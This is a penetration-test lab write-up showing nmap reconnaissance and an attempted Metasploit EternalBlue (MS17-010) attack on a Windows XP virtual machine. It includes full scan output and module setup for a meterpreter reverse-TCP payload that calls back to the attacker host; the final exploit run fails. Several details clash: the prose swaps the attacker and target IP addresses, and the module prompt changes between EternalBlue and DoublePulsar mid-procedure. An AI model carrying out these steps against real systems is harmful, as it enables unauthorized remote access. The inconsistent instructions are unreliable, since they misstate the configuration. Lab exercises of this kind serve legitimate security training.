

Network Penetration Test — SMB Exploitation on Windows XP Target (EternalBlue/MS17-010)

by Niyaz Mursid Dolon

Step: 01

Attacker Machine: Kali Linux

IP Address: 192.168.0.104

```
(dolon@NMDolon)~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.0.104 netmask 255.255.255.0 broadcast 192.168.0.255
    inet6 fe80::a00:27ff:fe79:5d44 prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:79:5d:44 txqueuelen 1000 (Ethernet)
    RX packets 2053 bytes 148235 (144.7 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 1574 bytes 108310 (105.7 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 8 bytes 480 (480.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 8 bytes 480 (480.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Target Machine: Windows XP

IP Address: 192.168.0.103

```
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\alexa>ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

    Connection-specific DNS Suffix . : 
    IP Address. . . . . : 192.168.0.103
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 192.168.0.1
```

Check the target reachable:

```
(dolon@NMDolon)-[~]
$ ping 192.168.0.103
PING 192.168.0.103 (192.168.0.103) 56(84) bytes of data.
64 bytes from 192.168.0.103: icmp_seq=1 ttl=128 time=1.66 ms
64 bytes from 192.168.0.103: icmp_seq=2 ttl=128 time=1.61 ms
64 bytes from 192.168.0.103: icmp_seq=3 ttl=128 time=2.72 ms
^C
— 192.168.0.103 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2121ms
rtt min/avg/max/mdev = 1.609/1.996/2.717/0.510 ms
```

Scanning the target system to find open port and service version:

```
(dolon@NMDolon)-[~]
$ nmap -sCV 192.168.0.103
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-27 00:45 +06
Nmap scan report for 192.168.0.103
Host is up (0.0015s latency).
Not shown: 996 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
135/tcp    open  msrpc          Microsoft Windows RPC
139/tcp    open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds   Windows XP microsoft-ds
2869/tcp   open  http           Microsoft HTTPAPI httpd 1.0 (SSDP/UPnP)
|_ http-server-header: Microsoft-HTTPAPI/1.0
|_ http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:19:5C:61 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: a-f46ec99670bf4
|   NetBIOS computer name: A-F46EC99670BF4\x00
|   Workgroup: MSHOME\x00
|_  System time: 2025-11-27T00:46:06+06:00
|_ clock-skew: mean: -3h00m00s, deviation: 4h14m33s, median: -6h00m00s
|_ nbstat: NetBIOS name: A-F46EC99670BF4, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:19:5c:61 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
|_ smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.75 seconds
```

Enumeration & Vulnerable assessment:

```
(dolon@NMDolon)-[~]
$ nmap -p 445 --script=smb-vuln-* 192.168.0.103
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-27 01:15 +06
Nmap scan report for 192.168.0.103
Host is up (0.00082s latency).

PORT      STATE SERVICE
445/tcp   open  microsoft-ds
MAC Address: 08:00:27:19:5C:61 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Host script results:
|_ smb-vuln-ms17-010:
|_   VULNERABLE:
|_     Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|_       State: VULNERABLE
|_       IDs: CVE:CVE-2017-0143
|_       Risk factor: HIGH
|_       A critical remote code execution vulnerability exists in Microsoft SMBv1
|_         servers (ms17-010).
|_
|_     Disclosure date: 2017-03-14
|_     References:
|_       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ smb-vuln-ms08-067:
|_   VULNERABLE:
|_     Microsoft Windows system vulnerable to remote code execution (MS08-067)
|_       State: LIKELY VULNERABLE
|_       IDs: CVE:CVE-2008-4250
|_       The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2
|_       Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitr
|_       code via a crafted RPC request that triggers the overflow during path canonicalization.
|_
|_     Disclosure date: 2008-10-23
|_     References:
|_       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_       https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_ smb-vuln-ms10-054: false
|_ smb-vuln-ms10-061: false

Nmap done: 1 IP address (1 host up) scanned in 13.41 seconds
```

Step 02: Gaining Access to the target:

Open the msfconsole:

```
(dolon@NMDolon)-[~]
$ msfconsole -q
msf > |
```

Search the exploit:

```
msf > search ms17-010

Matching Modules

#   Name
-   -
0   exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 Etern
ote Windows Kernel Pool Corruption
1   \_ target: Automatic Target . . .
2   \_ target: Windows 7 . . .
3   \_ target: Windows Embedded Standard 7 . . .
4   \_ target: Windows Server 2008 R2 . . .
5   \_ target: Windows 8 . . .
6   \_ target: Windows 8.1 . . .
7   \_ target: Windows Server 2012 . . .
8   \_ target: Windows 10 Pro . . .
9   \_ target: Windows 10 Enterprise Evaluation . . .
10  exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 Etern
nalSynergy/EternalChampion SMB Remote Windows Code Execution
11  \_ target: Automatic . . .
12  \_ target: PowerShell . . .
13  \_ target: Native upload . . .
14  \_ target: MOF upload . . .
15  \_ AKA: ETERNALSYNERGY . . .
16  \_ AKA: ETERNALROMANCE . . .
17  \_ AKA: ETERNALCHAMPION . . .
18  \_ AKA: ETERNALBLUE . . .
19  auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 Etern
nalSynergy/EternalChampion SMB Remote Windows Command Execution
20  \_ AKA: ETERNALSYNERGY . . .
21  \_ AKA: ETERNALROMANCE . . .
22  \_ AKA: ETERNALCHAMPION . . .
23  \_ AKA: ETERNALBLUE . . .
24  auxiliary/scanner/smb/smb_ms17_010 . normal No MS17-010 SMB R
25  \_ AKA: DOUBLEPULSAR . . .
26  \_ AKA: ETERNALBLUE . . .
27  exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULS
Execution
28  \_ target: Execute payload (x64) . . .
29  \_ target: Neutralize implant . . .

Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/smb_d
e
After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'
```

Load the Exploit:

```
msf > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > show options
```

Show options to see configure for requiring information:

```
msf exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

  Name          Current Setting  Required  Description
  ---          -
  RHOSTS        yes             The target host(s), see https://docs.metasploit.com/docs
  RPORT         445             The target port (TCP)
  SMBDomain      no              (Optional) The Windows domain to use for authentication.
  SMBPass        no              (Optional) The password for the specified username
  SMBUser        no              (Optional) The username to authenticate as
  VERIFY_ARCH   true            Check if remote architecture matches exploit Target. Onl
  VERIFY_TARGET true            Check if remote OS matches exploit Target. Only affects
  es.

Payload options (windows/x64/meterpreter/reverse_tcp):

  Name          Current Setting  Required  Description
  ---          -
  EXITFUNC      thread           Exit technique (Accepted: '', seh, thread, process, none)
  LHOST         192.168.0.104   The listen address (an interface may be specified)
  LPORT         4444            The listen port

Exploit target:

  Id  Name
  --  ---
  0    Automatic Target

View the full module info with the info, or info -d command.
```

Set RHOSTS=192.168.0.104

RPORT= 445 (No need to configure because this is our target port)

LHOST= 192.168.0.103(No need to change)

Set LPORT= 8585

Set the requiring information:

```
msf exploit(windows/smb/smb_doublepulsar_rce) > set LHOST 192.168.0.104
LHOST => 192.168.0.104
msf exploit(windows/smb/smb_doublepulsar_rce) > set RHOST 192.168.0.103
RHOST => 192.168.0.103
msf exploit(windows/smb/smb_doublepulsar_rce) > set LPORT 8585
LPORT => 8585
msf exploit(windows/smb/smb_doublepulsar_rce) > █
```

```
msf exploit(windows/smb/smb_doublepulsar_rce) > show options
Module options (exploit/windows/smb/smb_doublepulsar_rce):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS    192.168.0.103   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     445              yes       The SMB service port (TCP)

Payload options (windows/x64/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     192.168.0.104   yes       The listen address (an interface may be specified)
  LPORT     8585            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Execute payload (x64)

View the full module info with the info, or info -d command.
msf exploit(windows/smb/smb_doublepulsar_rce) > █
```

Run Exploit:

```
msf exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.0.104:8585
[*] 192.168.0.103:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[-] 192.168.0.103:445 - Rex::ConnectionRefused: The connection was refused by the remote host (195).
[*] 192.168.0.103:445 - Scanned 1 of 1 hosts (100% complete)
[-] 192.168.0.103:445 - The target is not vulnerable.
[*] Exploit completed, but no session was created.
```

Note: Exploitation attempt was unsuccessful against the target in this environment. The exercise demonstrates the scanning and enumeration methodology for MS17-010 vulnerability assessment.